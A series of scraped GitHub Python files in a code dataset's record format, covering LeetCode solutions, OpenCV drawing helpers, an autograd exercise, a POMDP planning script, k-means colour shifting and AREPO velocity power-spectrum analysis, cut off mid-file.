https://blog.csdn.net/coder_orz/article/details/51306985\nclass Solution:\n def isPalindrome(self, head: ListNode) -> bool:\n if head is None or head.next is None:\n return True\n\n # find the middle node (which would be slow after while loop)\n slow = fast = head\n while fast.next and fast.next.next:\n slow = slow.next\n fast = fast.next.next\n\n slow = slow.next\n slow = self.reverse_list(slow)\n while slow:\n if head.val != slow.val:\n return False\n slow = slow.next\n head = head.next\n\n return True\n\n def reverse_list(self, head: ListNode) -> ListNode:\n prev_node = None\n curr_node = head\n while curr_node is not None:\n next_node = curr_node.next\n curr_node.next = prev_node\n\n prev_node = curr_node\n curr_node = next_node\n\n return prev_node\n","repo_name":"DaMinaup6/algorithm-exercises","sub_path":"leetcode/easy/234_palindrome_linked_list.py","file_name":"234_palindrome_linked_list.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41867787162","text":"# read lines from ts.txt\r\n# each line is form of number number\r\n# example:\r\n# 1 2\r\n# make dictionary with key as first number and value as second number\r\n\r\ndef main():\r\n d = {}\r\n with open('test.graph') as f:\r\n (n,e) = f.readline().split()\r\n for i in range(int(e)):\r\n (key, val) = f.readline().split()\r\n if int(key) in d:\r\n d[int(key)].append(int(val))\r\n else:\r\n d[int(key)] = [int(val)]\r\n # open ts.txt\r\n with open('ts.txt') as f:\r\n ans = []\r\n for line in f:\r\n ans.append(int(line.strip()))\r\n for element in ans:\r\n # check if element is in dictionary as key\r\n if element in d:\r\n for x in d[element]:\r\n if ans.index(element) > ans.index(x):\r\n print(element, x)\r\n print(\"FAIL\")\r\n exit()\r\n print(\"PASS\")\r\n \r\n\r\nmain()","repo_name":"ModernOctave/Data-Structures-and-Algorithms-Lab","sub_path":"Assignment_7/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36718489632","text":"from utils.torchsummary import summary\r\nfrom utils.convert import *\r\nimport numpy as np\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nimport math\r\n\r\n\r\n# 将CNN运行过程中的tensor画下来\r\ndef save_tensor(path, tensor):\r\n img = Any2PIL(tensor)\r\n img.save(path)\r\n\r\n\r\ndef same_size(img1, img2):\r\n # 长宽都调整到较大值\r\n h_max = max(img1.shape[0], img2.shape[0])\r\n w_max = max(img1.shape[1], img2.shape[1])\r\n img1 = np.pad(img1, [[0, h_max - img1.shape[0]],\r\n [0, w_max - img1.shape[1]]])\r\n img2 = np.pad(img2, [[0, h_max - img2.shape[0]],\r\n [0, w_max - img2.shape[1]]])\r\n return img1, img2\r\n\r\n\r\ndef _convert_pt(pts):\r\n \"\"\"\r\n 将点转化为(n,2)的numpy形式\r\n :param pts:\r\n :return:\r\n \"\"\"\r\n if pts is None:\r\n return np.array([])\r\n if isinstance(pts, list):\r\n if isinstance(pts[0], cv2.KeyPoint):\r\n return np.array([pt.pt for pt in pts])\r\n if isinstance(pts, np.ndarray):\r\n return pts.reshape([-1, 2])\r\n if isinstance(pts, torch.Tensor):\r\n pts = pts.cpu().numpy()\r\n return pts.reshape([-1, 2])\r\n\r\n\r\n# 在图像上绘出关键点\r\ndef draw_pts(img, pts, color=None, size=1, name=\"img\", radius=1, thickness=2):\r\n \"\"\"\r\n :param color:\r\n :param img: 绘制在img上\r\n :param pts: 绘制的点集, opencv的或者numpy(n,2)(1,n,2)都可以\r\n :param size: 最后显示图片的大小\r\n :param name: 显示窗口的名字\r\n :param radius: 半径\r\n :param thickness: 线宽\r\n :return:img 返回绘制好的图像\r\n Example:\r\n img = draw_pts(img,pts)\r\n \"\"\"\r\n pts = _convert_pt(pts)\r\n if img.shape[-1] != 3:\r\n img = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)\r\n for point in pts:\r\n if color is None:\r\n color = (np.random.randint(0, 255), np.random.randint(0, 255), np.random.randint(0, 255))\r\n img = cv2.circle(img, (int(point[0]), int(point[1])), radius=radius, color=color, thickness=thickness)\r\n if isinstance(size, int):\r\n size = float(size)\r\n if isinstance(size, float):\r\n img = cv2.resize(img, (int(size * img.shape[1]), int(size * img.shape[0])))\r\n else:\r\n img = cv2.resize(img, (int(size[1]), int(size[0])))\r\n # cv2.imshow(name, img)\r\n if name is not None:\r\n plt.figure(name)\r\n plt.imshow(img)\r\n plt.show()\r\n return img\r\n\r\n\r\ndef draw_arrows(img, pts1, pts2, name=None, color=None, line_width=2, tip_len=0.5, inlier=None, ):\r\n \"\"\"\r\n 绘制一批箭头\r\n :param img:\r\n :param pts1: 从pt1出发\r\n :param pts2: 指向pt2\r\n :param name:\r\n :param color:\r\n :param line_width: 线的长度\r\n :param tip_len: 箭头头的长度\r\n :param inlier: 是否是内点\r\n :return: img 返回绘制好的图像\r\n \"\"\"\r\n pts1 = _convert_pt(pts1)\r\n pts2 = _convert_pt(pts2)\r\n if img.shape[-1] != 3:\r\n img = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)\r\n for i, (point1, point2) in enumerate(zip(pts1, pts2)):\r\n if inlier is not None and inlier[i] == 0:\r\n continue\r\n if color is None:\r\n c = (np.random.randint(0, 255), np.random.randint(0, 255), np.random.randint(0, 255))\r\n img = cv2.arrowedLine(img, tuple(point1), tuple(point2), c, thickness=line_width, tipLength=tip_len)\r\n else:\r\n img = cv2.arrowedLine(img, tuple(point1), tuple(point2), color, thickness=line_width, tipLength=tip_len)\r\n if name is not None:\r\n img_sz = cv2.resize(img, (1600, 1600))\r\n plt.figure(name)\r\n plt.imshow(img_sz)\r\n plt.show()\r\n return img\r\n\r\n\r\ndef draw_correspond(img1, img2, pts1, pts2, size=1, color=None, pt_sz=2, line_width=2, name='img', inlier=None):\r\n \"\"\"\r\n 绘制两张图片的匹配关系,两张图的大小需要一致\r\n :param img1:图1\r\n :param img2:图2\r\n :param pts1:图1的点, opencv的或者numpy(n,2)(1,n,2)都可以\r\n :param pts2:图2的点\r\n :param size:最终的图像大小的1/2\r\n :param color:匹配颜色\r\n :param pt_sz:点的大小\r\n :param line_width:线的宽度\r\n :param name:绘制窗口的名字, None为不显示绘制窗口\r\n :param inlier:内点集合,排除掉一些不想要的点\r\n :return: img 返回绘制好的图像\r\n\r\n Example:\r\n img = draw_pts2(img1,img2,pts1,pts2)\r\n \"\"\"\r\n pts1 = _convert_pt(pts1)\r\n pts2 = _convert_pt(pts2)\r\n if img1.shape[-1] != 3:\r\n img1 = cv2.cvtColor(img1, cv2.COLOR_GRAY2BGR)\r\n if img2.shape[-1] != 3:\r\n img2 = cv2.cvtColor(img2, cv2.COLOR_GRAY2BGR)\r\n img = np.concatenate([img1, img2], axis=1)\r\n width = img1.shape[1]\r\n if color is None:\r\n color = (np.random.randint(0, 255), np.random.randint(0, 255), np.random.randint(0, 255))\r\n for i, (point1, point2) in enumerate(zip(pts1, pts2)):\r\n if inlier is not None and inlier[i] == 0:\r\n continue\r\n if isinstance(color, list):\r\n co = color[i]\r\n else:\r\n co = color\r\n point1 = (int(point1[0]), int(point1[1]))\r\n point2 = (int(point2[0]) + width, int(point2[1]))\r\n if pt_sz !=0:\r\n img = cv2.circle(img, tuple(point1), pt_sz, co, -1)\r\n img = cv2.circle(img, tuple(point2), pt_sz, co, -1)\r\n if line_width != 0:\r\n img = cv2.line(img, tuple(point1), tuple(point2), co, line_width)\r\n if isinstance(size, int):\r\n size = float(size)\r\n if isinstance(size, float):\r\n img = cv2.resize(img, (int(2 * size * img1.shape[1]), int(size * img1.shape[0])))\r\n else:\r\n img = cv2.resize(img, (int(2 * size[1]), int(size[0])))\r\n if name is not None:\r\n plt.figure(name)\r\n plt.imshow(img)\r\n plt.show()\r\n return img\r\n\r\n\r\ndef draw_grid(img=None, sz=None, color=(0, 255, 0), line_width=1, density=0.02):\r\n \"\"\"\r\n 画出可以在上面进行形变的网格图\r\n\r\n :param img: 在图上画网格 numpy[N,N] or [N,N,3]\r\n :param sz: 按照一定的大小画网格 [X,Y]\r\n :param color: 网格线的颜色,默认绿色\r\n :param line_width: 网格线的长度\r\n :param density: 网格线密度\r\n :return: 网格图像\r\n \"\"\"\r\n assert img is not None or sz is not None, \"img or sz must have one decided\"\r\n if density < 1:\r\n density = int(1 / density)\r\n if img is not None:\r\n assert isinstance(img, np.ndarray), \"the img must be ndarray\"\r\n if len(img.shape) == 2:\r\n img = cv2.cvtColor(img.squeeze(), cv2.COLOR_GRAY2BGR)\r\n sz = img.shape\r\n else:\r\n img = np.zeros([sz[0], sz[1], 3]).astype(np.uint8)\r\n sz = img.shape\r\n\r\n height, width = sz[:2]\r\n for i in range(0, width, density):\r\n img = cv2.line(img, (0, i), (height, i), color=color, thickness=line_width)\r\n for j in range(0, height, density):\r\n img = cv2.line(img, (j, 0), (j, width), color=color, thickness=line_width)\r\n return img\r\n\r\n\r\ndef combine_pic(img_lst, w_num, margin=0, scale=1):\r\n \"\"\"\r\n 将图片拼成一张显示\r\n :param img_lst:图像列表\r\n :param w_num: 一行有几张图片\r\n :param margin: 图片拼接的间隔\r\n :param scale: 缩放\r\n :return:\r\n \"\"\"\r\n height = int(img_lst[0].shape[0] * scale)\r\n width = int(img_lst[0].shape[1] * scale)\r\n num = len(img_lst)\r\n h_num = math.ceil(num / w_num)\r\n img_rst = np.zeros([h_num * (height + margin) - margin, w_num * (width + margin) - margin, 3], dtype=np.uint8)\r\n for i, img in enumerate(img_lst):\r\n y_idx = int(i / w_num)\r\n x_idx = (i % w_num)\r\n l = x_idx * (width + margin)\r\n r = l + width\r\n t = y_idx * (height + margin)\r\n b = t + height\r\n img_rst[t:b, l:r, :] = cv2.resize(img, None, fx=scale, fy=scale)\r\n return img_rst\r\n","repo_name":"TongXin-CASIA/Excepted_Affine","sub_path":"utils/easy_debug.py","file_name":"easy_debug.py","file_ext":"py","file_size_in_byte":7804,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"20776051218","text":"import numpy as np\n\n\nclass Variable:\n def __init__(self, data):\n self.data = data\n self.grad = None\n self.creator = None\n \n def set_creator(self, func):\n self.creator = func \n \n def backward(self):\n f = self.creator # 1. 関数を取得\n if f is not None:\n x = f.input # 2. 関数のinputを取得\n x.grad = f.backward(self.grad) # 3. 関数のbackwardメソッドを呼ぶ\n x.backward() # 自分より1つ前の変数のbackwardメソッドを呼ぶ(再帰) \n\nclass Function:\n def __call__(self, input):\n x = input.data\n y = self.forward(x)\n output = Variable(y)\n output.set_creator(self) # 出力変数に生みのおやを覚えさせる\n self.input = input\n self.output = output # 出力も覚える\n return output\n\n def forward(self, x):\n raise NotImplementedError()\n\n # @staticmethod\n def backward(self, gy):\n raise NotImplementedError()\n\nclass Square(Function):\n def forward(self, x):\n y = x ** 2\n return y\n\n def backward(self, gy):\n x = self.input.data\n gx = 2 * x * gy\n return gx\n\nclass Exp(Function):\n def forward(self, x):\n y = np.exp(x)\n return y\n\n def backward(self, gy):\n x = self.input.data\n gx = np.exp(x) * gy\n return gx\n\ndef numerical_diff(f, x, eps=1e-4):\n x0 = (x.data - eps)\n x1 = (x.data + eps)\n y0 = f(x0)\n y1 = f(x1)\n return (y1.data - y0.data) / (2*eps)\n\nA = Square()\nB = Exp()\nC = Square()\n\nx = Variable(np.array(0.5))\na = A(x)\nb = B(a)\ny = C(b)\n# 逆伝播\ny.grad = np.array(1.0)\ny.backward()\nprint(x.grad)\n\nprint('checking implementation...')\nassert y.creator == C\nassert y.creator.input == b\nassert y.creator.input.creator == B\nassert y.creator.input.creator.input == a\nassert y.creator.input.creator.input.creator == A\nassert y.creator.input.creator.input.creator.input == x\n\nprint('checking is complete')\nprint('calculate gradient by myself')\n# 逆伝播を試す\ny.grad = np.array(1.0)\n\n# --- 一番お尻 ---\nC = y.creator # 1. 関数を取得\nb = C.input # 2. 関数の入力値を取得\nb.grad = C.backward(y.grad) # 3. 関数のbackwordメソッドを呼ぶ\n# --- その次 ---\nB = b.creator # 1. 関数を取得\na = B.input # 2. 関数の入力値を取得\na.grad = B.backward(b.grad) # 3. 関数のbackwordメソッドを呼ぶ\n# --- その次 ---\nA = a.creator \nx = A.input\nx.grad = A.backward(a.grad)\n\nprint(x.grad)","repo_name":"takerumimata/deep-learning-from-scratch-3","sub_path":"chapter1/step07.py","file_name":"step07.py","file_ext":"py","file_size_in_byte":2526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34930422338","text":"import numpy as np\r\nfrom sklearn import datasets\r\nimport matplotlib.pyplot as plt\r\ndef init():\r\n iris = datasets.load_iris()\r\n iris=iris['data']\r\n one=np.ones([50,1])\r\n setosa=iris[0:50]\r\n versicolor=iris[50:100]\r\n# fig,ax=plt.subplots()\r\n\r\n s=[setosa,one]\r\n setosa=np.column_stack(s)\r\n one=one*-1\r\n s=[versicolor,one]\r\n versicolor=np.column_stack(s)\r\n plt.hist(versicolor[:,3], bins=30, rwidth=0.9, density=True)\r\n plt.show()\r\n setosa_train=setosa[0:40]\r\n setosa_test=setosa[40:50]\r\n versicolor_train=versicolor[0:40]\r\n versicolor_test=versicolor[40:50]\r\n a=[setosa_train,versicolor_train]\r\n b=[setosa_test,versicolor_test]\r\n trainset=np.row_stack(a)\r\n testset=np.row_stack(b)\r\n np.random.shuffle(trainset)\r\n np.random.shuffle(testset)\r\n return [trainset,testset]\r\ndef main():\r\n trainset,testset=init()\r\nmain()\r\n ","repo_name":"SZ501/hello-world","sub_path":"machine learning/4.0.py","file_name":"4.0.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37868028855","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom autograd import grad\n\nimport os\nimport cPickle as pkl\nimport argparse\nimport numpy as np\nimport reg_utils as rg\nimport rl_utils as rl\nimport mixture_network as mn\nimport planner as pl\n\n\n# import weights_util as util\n# import pomdp_functions as pomdp\n\n\ndef get_parser():\n\n parser = argparse.ArgumentParser(description='run KDM method')\n parser.add_argument('--dataset', help='path to data files',\n required=False, default='/public/toy/', type=str)\n parser.add_argument('--has_fence', help='if dataset is sequence based',\n required=False, default=1, type=int)\n parser.add_argument('--out_dir', help='output directory',\n required=False, default='/outputs/', type=str)\n parser.add_argument('--num_states', help='number of POMDP hidden states',\n default=4, required=False, type=int)\n parser.add_argument('--num_actions', help='number of actions',\n default=3, required=False, type=int)\n parser.add_argument('--num_rewards', help='number of rewards',\n default=3, required=False, type=int)\n parser.add_argument('--dim_obs', help='dim of obs (if discrete)',\n default=7, required=False, type=int)\n parser.add_argument('--branch_count', help='number of branches for FS',\n default=1, required=False, type=int)\n parser.add_argument('--depth', help='search depth for FS', default=3, required=False, type=int)\n parser.add_argument('--kmeans', help='use k-means initialization',\n default=True, required=False, type=bool)\n parser.add_argument('--discount_rate', help='discount factor',\n default=0.98, required=False, type=float)\n parser.add_argument('--kernel', help='specify kernel function path', required=False, type=str)\n parser.add_argument('--seed', help='set random seed',\n default=42, required=False, type=int)\n parser.add_argument('--flatten_weights', help='use flattened weights',\n default=False, required=False, type=bool)\n return parser\n\n\ndef get_dataset_basename(dataset):\n\n # Get the data set name and path\n dataset_parts = dataset.split('/')[::-1]\n for i in range(len(dataset_parts)):\n if len(dataset_parts[i]) > 0:\n return dataset_parts[i]\n\n\ndef load_data(path, has_fence=True):\n\n # Load the data dictionaries with the corresponding fence-posts\n print(\"Loading data...\")\n train_data = pkl.load(open(os.path.join(path, 'train_data.p'), \"rb\"))\n test_data = pkl.load(open(os.path.join(path, 'test_data.p'), \"rb\"))\n val_data = pkl.load(open(os.path.join(path, 'val_data.p'), \"rb\"))\n\n # Also load the data for the kernel based approach with long-term rewards\n train_ltrewards = pkl.load(open(os.path.join(path, 'train_ltr.p'), \"rb\"))\n test_ltrewards = pkl.load(open(os.path.join(path, 'test_ltr.p'), \"rb\"))\n val_ltrewards = pkl.load(open(os.path.join(path, 'val_ltr.p'), \"rb\"))\n\n if has_fence:\n\n # Get the train, test and val fence-posts.\n train_fcpt = pkl.load(open(os.path.join(path, 'train_fcpt.p'), \"rb\"))\n test_fcpt = pkl.load(open(os.path.join(path, 'test_fcpt.p'), \"rb\"))\n val_fcpt = pkl.load(open(os.path.join(path, 'val_fcpt.p'), \"rb\"))\n\n return train_fcpt, test_fcpt, val_fcpt, train_data, test_data, val_data, train_ltrewards, test_ltrewards, val_ltrewards\n else:\n\n return train_data, test_data, val_data, train_ltrewards, test_ltrewards, val_ltrewards\n\n\ndef save_kernel_pairs(pairs, train):\n\n # Save a set of kernel pairs to file\n if (train is True):\n f = open(\"outputs/all_kernel_pairs_train.p\", \"wb\")\n else:\n f = open(\"outputs/all_kernel_pairs_test.p\", \"wb\")\n pkl.dump(pairs, f)\n f.close()\n\n\ndef get_targets(train_data):\n\n # Get the one step ahead observations for each time step\n obs_data = train_data['obs_set']\n ids = train_data['dataindex_set']\n\n target_set = np.zeros(obs_data.shape)\n for k in range(obs_data.shape[0] - 1):\n if (ids[k] == ids[k + 1]):\n target_set[k, :] = obs_data[k + 1, :]\n else:\n target_set[k, :] = obs_data[k, :]\n\n return target_set\n\n\ndef main():\n parser = get_parser()\n args = vars(parser.parse_args())\n\n if (args['has_fence']):\n train_fcpt, test_fcpt, val_fcpt, train_data, test_data, val_data, train_ltrewards, test_ltrewards, val_ltrewards = load_data(path=args['dataset'], has_fence=bool(args['has_fence']))\n else:\n train_data, test_data, val_data, train_ltrewards, test_ltrewards, val_ltrewards = load_data(path=args['dataset'], has_fence=bool(args['has_fence']))\n\n print(train_data['action_set'].shape)\n\n # compute a set of kernel pairs over data set\n kernel_pairs = rg.compute_all_cross_kernel(train_data, train_data)\n\n # save the kernel pairs\n save_kernel_pairs(kernel_pairs, train=True)\n\n # get the quantile distances from the set of kernel pairs\n quantiles = rg.get_distances(train_data, kernel_pairs)\n\n # use the kernel to train a regression for predicting the next observation\n obs_pred, history_lengths = rg.kernel_regression(train_data, kernel_pairs, train_ltrewards)\n\n # learn a POMDP on the train data\n lbelief_set, pomdp_obs_pred, emission_mu, emission_std, ltrans = rl.run_pomdp(train_data, train_fcpt, args)\n\n # create inputs for mixing network\n inputs = np.hstack((obs_pred, pomdp_obs_pred, history_lengths, quantiles))\n\n # train a mixing network to predict the next observation; validate against true observation\n targets = get_targets(train_data)\n network, x, init, model_path = mn.train_mixture_network(inputs, targets, inputs.shape[1], targets.shape[1])\n\n # calculate kernel pairs for test data set\n cross_kernel_pairs = rg.compute_all_cross_kernel(test_data, train_data)\n\n # save the kernel pairs\n save_kernel_pairs(cross_kernel_pairs, train=False)\n\n # get the quantile distances for the test data from kernel pairs\n test_quantiles = rg.get_distances(test_data, cross_kernel_pairs)\n\n # use the kernel to predict the next observation\n test_obs_pred, test_history_lengths = rg.kernel_regression(test_data, cross_kernel_pairs, test_ltrewards)\n\n # run pomdp on test data and extract belief states\n lbelief_test_set, test_init_obs, emission_mu, emission_std, ltrans = rl.run_pomdp(test_data, test_fcpt, args)\n\n # run planning\n policy_list = pl.run_mixed_planner(lbelief_test_set, ltrans, test_data, test_fcpt, test_quantiles, test_obs_pred, test_init_obs, emission_mu, emission_std, network, x, init, model_path, args)\n\n return policy_list\n\n\nif __name__ == \"__main__\":\n\n policy = main()\n\n","repo_name":"dtak/dynamic-mixing","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":6849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18212997782","text":"class Solution:\n def stoneGameIII(self, stoneValue: List[int]) -> str:\n n = len(stoneValue)\n # dp[i] := max \"relative score\" Alice can make w/ stoneValue[i:]\n dp = [-math.inf] * n + [0]\n\n for i in reversed(range(n)):\n summ = 0\n for j in range(i, i + 3):\n if j == n:\n break\n summ += stoneValue[j]\n dp[i] = max(dp[i], summ - dp[j + 1])\n\n score = dp[0]\n if score == 0:\n return 'Tie'\n return 'Alice' if score > 0 else 'Bob'\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/1406. Stone Game III/1406-2.py","file_name":"1406-2.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"} +{"seq_id":"33088969475","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn.cluster import KMeans\nfrom PIL import Image\n\n#defining constants RGB\nRED = 0\nGREEN = 1\nBLUE = 2\n\n\ndef get_clusters(source_img):\n\n #reading source image\n source = cv2.imread(source_img)\n #convert from BGR to RGB\n source = cv2.cvtColor(source, cv2.COLOR_BGR2RGB)\n #reshape to list of pixels\n new_source = source.reshape((source.shape[0] * source.shape[1], 3))\n\n #cluster pixels\n kmeans = KMeans(n_clusters = 4)\n kmeans.fit(new_source)\n\n #get dominant colors\n clusters = kmeans.cluster_centers_\n #converting to int\n clusters = clusters.astype(int)\n\n return clusters\n\ndef get_color_map(source, dest):\n \n #initiating dictionary to hold the color mappings\n color_map = {}\n\n index = 0\n\n while index < len(source):\n\n #getting the rgb mappings\n r = source[index][RED] - dest[index][RED]\n g = source[index][GREEN] - dest[index][GREEN]\n b = source[index][BLUE] - dest[index][BLUE]\n \n #add values to dictionary\n color_map[index] = [r, g, b]\n index += 1\n\n return color_map\n\ndef change_colors(color_map, dest_img):\n\n #reading source image\n img = cv2.imread(dest_img)\n #convert from BGR to RGB\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n #reshape to list of pixels\n new_img = img.reshape((img.shape[0] * img.shape[1], 3))\n\n #cluster pixels\n kmeans = KMeans(n_clusters = 4)\n kmeans.fit(new_img)\n\n #get labels\n labels = kmeans.labels_\n \n #declaring new dimensions\n x = int(labels.shape[0]/img.shape[1])\n y = int(labels.shape[0]/img.shape[0])\n #reshape labels\n labels = labels.reshape(x, y)\n\n #iterate through img updating pixel colors\n x = 0\n y = 0\n \n for x in range(img.shape[1]):\n for y in range(img.shape[0]):\n #get current rgb values\n rgb = img[x][y]\n label = labels[x][y]\n #get color mapping\n mapping = color_map[label]\n \n #calculate new rgb values\n r = rgb[RED] + mapping[RED]\n g = rgb[GREEN] + mapping[GREEN]\n b = rgb[BLUE] + mapping[BLUE]\n\n #check that they are all in bounds\n if r < 0:\n r = 0\n if g < 0:\n g = 0\n if b < 0:\n b = 0\n if r > 255:\n r = 255\n if g > 255:\n g = 255\n if b > 255:\n b = 255\n\n #set new rgb values\n img[x][y][RED] = r\n img[x][y][GREEN] = g\n img[x][y][BLUE] = b\n\n #save img and display\n final = Image.fromarray(img)\n final.save('newimage.png')\n final.show()\n\n#get the source clusters and print\nsource = get_clusters('source.png')\n\n#get the destination clusters and print\ndest = get_clusters('dest.png')\n\n#create the color map using the clusters\ncolor_map = get_color_map(source, dest)\n\n#change the colors\nchange_colors(color_map, 'dest.png')\n\n\n\n","repo_name":"mayaserena/colour-shift","sub_path":"color-shift-rgb.py","file_name":"color-shift-rgb.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6893652727","text":"import numpy as np\nimport matplotlib.pyplot as plt \nimport code_units\nfrom scipy.stats import binned_statistic\nimport arepo_utils\nimport astropy.constants as ap\nfrom mpl_toolkits.axes_grid1 import ImageGrid \nimport os \n\n\ndef read_cube(name):\n '''returns AREPO binary cube data, coordinates arranged as data[y,x,z]'''\n A=np.fromfile(name,dtype=np.float32)\n a=np.fromfile(name,dtype=np.int32)\n n=a[0]\n N=n*n\n A=A[3:]\n cube=np.zeros((n,n,n))\n for X in range(n):\n plane=A[X*N:X*N+N].reshape(n,n)\n cube[X,:,:]=plane\n\n return cube\n\n\ndef read_3cube(name):\n '''returns 3 cubes giving x,y and z components, individual cubes have positional\n axis cube[y,x,z]'''\n A=np.fromfile(name,dtype=np.float32)\n a=np.fromfile(name,dtype=np.int32)\n n=a[0]\n N=n*n\n A=A[3:]\n Ax=A[0::3]\n Ay=A[1::3]\n Az=A[2::3]\n cubex=np.zeros((n,n,n))\n cubey=np.zeros((n,n,n))\n cubez=np.zeros((n,n,n))\n for X in range(n):\n planex=Ax[X*N:X*N+N].reshape(n,n)\n cubex[X,:,:]=planex\n\n planey=Ay[X*N:X*N+N].reshape(n,n)\n cubey[X,:,:]=planey\n\n planez=Az[X*N:X*N+N].reshape(n,n)\n cubez[X,:,:]=planez\n\n x=np.linspace(0,n-1,n)\n y,x,z=np.meshgrid(x,x,x)\n\n return cubex,cubey,cubez,x,y,z\n\n'''||||||||| POWER SPECTRUM ||||||||||'''\n\ndef subtract_radial(vx,vy,vz,x,y,z,boxsize):\n Ncube=len(vx[:,:,0])\n Lcell=boxsize/Ncube\n c=int(Ncube/2)\n rx=x[c,c,c]-x\n ry=y[c,c,c]-y\n rz=z[c,c,c]-z\n rmag=np.sqrt(rx**2+ry**2+rz**2)\n #vmag=np.sqrt(vx**2+vy**2+vz**2)\n crossx,crossy,crossz=np.zeros_like(rx),np.zeros_like(rx),np.zeros_like(rx)\n mask=np.where(rmag>0)\n crossx[mask]=(vy*rz-vz*ry)[mask]/rmag[mask]\n crossy[mask]=-(vx*rz-vz*rx)[mask]/rmag[mask]\n crossz[mask]=(vx*ry-vy*rx)[mask]/rmag[mask]\n return crossx,crossy,crossz\n\n\ndef create_spectrum(velfile,boxsize,subtract):\n '''reads cube, fft, creates power spectrum, please give boxsize in cm\n subtract='yes' for radial profile subtraction '''\n print('reading')\n vx,vy,vz,x,y,z=read_3cube(velfile)\n vx,vy,vz=vx*code_units.v_cu, vy*code_units.v_cu, vz*code_units.v_cu\n x,y,z=x/x.max() * boxsize, y/y.max() * boxsize, z/z.max() * boxsize\n\n if subtract=='yes':\n print('subtracting')\n vx,vy,vz=subtract_radial(vx,vy,vz,x,y,z,boxsize) \n\n print('fft')\n Ax=np.fft.fftn(vx)\n Ay=np.fft.fftn(vy)\n Az=np.fft.fftn(vz)\n A=np.sqrt(abs(Ax)**2+abs(Ay)**2+abs(Az)**2)\n\n print('exploring k space')\n Ncube=int(len(A[0,0,:]))\n k=np.fft.fftfreq(Ncube)*Ncube\n kx,ky,kz=np.meshgrid(k,k,k)\n K=np.sqrt(kx**2+ky**2+kz**2)\n print('spectra')\n print('summing energies')\n bins=np.linspace(1,int(K.max()),int(K.max()))\n av1,ks1,args=binned_statistic(K.flatten(),abs(A/Ncube**3).flatten()**2,bins=bins)\n dk=ks1[1]-ks1[0]\n energy1=av1*4*np.pi*ks1[:-1]**2 *dk\n\n return ks1[:-1],energy1\n\ndef create_spectrum_zeropad(velfile,zeropad):\n\t'''reads cube, fft, creates power spectrum, please give boxsize in cm\n\tsubtract='yes' for radial profile subtraction '''\n\tprint('reading')\n\tbx,by,bz,x,y,z=read_3cube(velfile)\n\tNold=len(bx[:,:,0])\n\tNnew=Nold+2*zeropad\n\tvx=np.zeros((Nnew,Nnew,Nnew))\n\tvy=np.zeros((Nnew,Nnew,Nnew))\n\tvz=np.zeros((Nnew,Nnew,Nnew))\n\tvx[zeropad:Nnew-zeropad,zeropad:Nnew-zeropad,zeropad:Nnew-zeropad]=bx\n\tvy[zeropad:Nnew-zeropad,zeropad:Nnew-zeropad,zeropad:Nnew-zeropad]=by\n\tvz[zeropad:Nnew-zeropad,zeropad:Nnew-zeropad,zeropad:Nnew-zeropad]=bz\n\n\tprint('fft')\n\tAx=np.fft.fftn(vx)\n\tAy=np.fft.fftn(vy)\n\tAz=np.fft.fftn(vz)\n\tA=np.sqrt(abs(Ax)**2+abs(Ay)**2+abs(Az)**2)\n\n\tprint('exploring k space')\n\tNcube=int(len(A[0,0,:]))\n\tk=np.fft.fftfreq(Ncube)*Ncube\n\tkx,ky,kz=np.meshgrid(k,k,k)\n\tK=np.sqrt(kx**2+ky**2+kz**2)\n\tprint('spectra')\n\tprint('summing energies')\n\tbins=np.linspace(1,int(K.max()),int(K.max()))\n\tav1,ks1,args=binned_statistic(K.flatten(),abs(A/Ncube**3).flatten()**2,bins=bins)\n\tdk=ks1[1]-ks1[0]\n\tenergy1=av1*4*np.pi*ks1[:-1]**2 *dk\n\n\treturn Nold/(Nnew/ks1[:-1]),energy1\n\n\ndef write_txt(velfile,boxsize,subtract,name):\n ks,energy=create_spectrum(velfile,boxsize,subtract)\n f = open(name, \"x\")\n for i in range(len(ks)):\n f.write(str(ks[i]) + ' ' + str(energy[i]) + ' \\n')\n f.close()\n\n\n\ndef txtread(txtfile):\n \n e=[]\n k=[]\n with open(txtfile) as f:\n for line in f.readlines():\n k.append(line.split()[0])\n e.append(line.split()[1])\n return np.asarray(k).astype(float),np.asarray(e).astype(float) \n\n\n\n\ndef plot_spectrum(files,subtracted_too,labels):\n if subtracted_too=='no':\n fig,axs=plt.subplots(1)\n else:\n fig,axs=plt.subplots(2,sharex=True)\n plt.subplots_adjust(hspace=0)\n for i in range(len(files)):\n k,e=txtread(files[i])\n axs[0].loglog(k,e,label=labels[i])\n axs[0].set_xlim(2,k.max()/2)\n axs[0].tick_params(axis=\"y\", labelsize=15,direction=\"in\")\n if subtracted_too=='yes':\n k,e=txtread(files[i]+'_radial')\n axs[1].loglog(k,e)\n axs[1].set_xlim(2,k.max()/2)\n axs[1].set_ylabel(r'$P_{v_\\theta}$',fontsize=20)\n axs[1].set_xlabel('Cycles per box length',fontsize=20)\n axs[1].text(0.2,0.1,'radial profile subtracted',ha='center', va='center', transform=axs[1].transAxes,fontsize=10)\n axs[1].tick_params(axis=\"y\", labelsize=15,direction=\"in\")\n axs[1].tick_params(axis=\"x\", 